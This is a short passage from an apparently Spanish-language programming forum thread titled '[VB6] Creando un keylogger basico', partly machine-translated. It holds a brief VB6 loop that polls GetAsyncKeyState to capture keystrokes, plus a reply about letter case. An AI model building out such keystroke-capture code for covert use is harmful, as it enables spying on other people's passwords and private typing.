
for what you can do is to use loop and get the text of the keys to let you an example:


Código:
dim a as integer

For a = 0 To 255 

        If GetAsyncKeyState(a) = -32767 Then 
            debug.print chr(a)
        End If 
Next 
En línea
Edu


Desconectado Desconectado

Mensajes: 1.082


Ex XXX-ZERO-XXX


Ver Perfil
Re: [VB6] Creando un keylogger basico by SharkI
« Respuesta #14 en: 4 Julio 2011, 18:45 »

If you are talking about the last one, try changing in the code: text1.text & "A" to text1.text & "a"  xD
En línea
Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines